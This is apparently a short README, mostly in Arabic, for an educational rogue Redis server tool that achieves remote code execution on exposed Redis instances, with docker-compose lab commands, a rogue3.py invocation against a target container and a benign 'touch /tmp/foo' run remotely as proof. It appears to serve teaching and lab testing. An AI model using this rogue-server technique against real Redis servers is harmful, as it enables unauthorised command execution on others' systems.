knqyf263/redis-post-exploitationأداة تعليمية لخادم Redis المارق لمرحلة ما بعد الاستغلال. تقوم بنشر خادم Redis خبيث لتحقيق تنفيذ برمجي عن بُعد وتنفيذ أوامر عشوائية على مثيلات Redis المعرّضة للخطر.
لأغراض تعليمية فقط
$ docker-compose build
$ docker-compose up -d
$ docker-compose exec rogue sh
/rogue/redis-rogue-server # python3 rogue3.py --rhost redis --rport 6379 --lhost rogue --lport 21000
...
[<<] touch /tmp/foo
$ docker-compose exec redis sh
/data # ls /tmp/
foo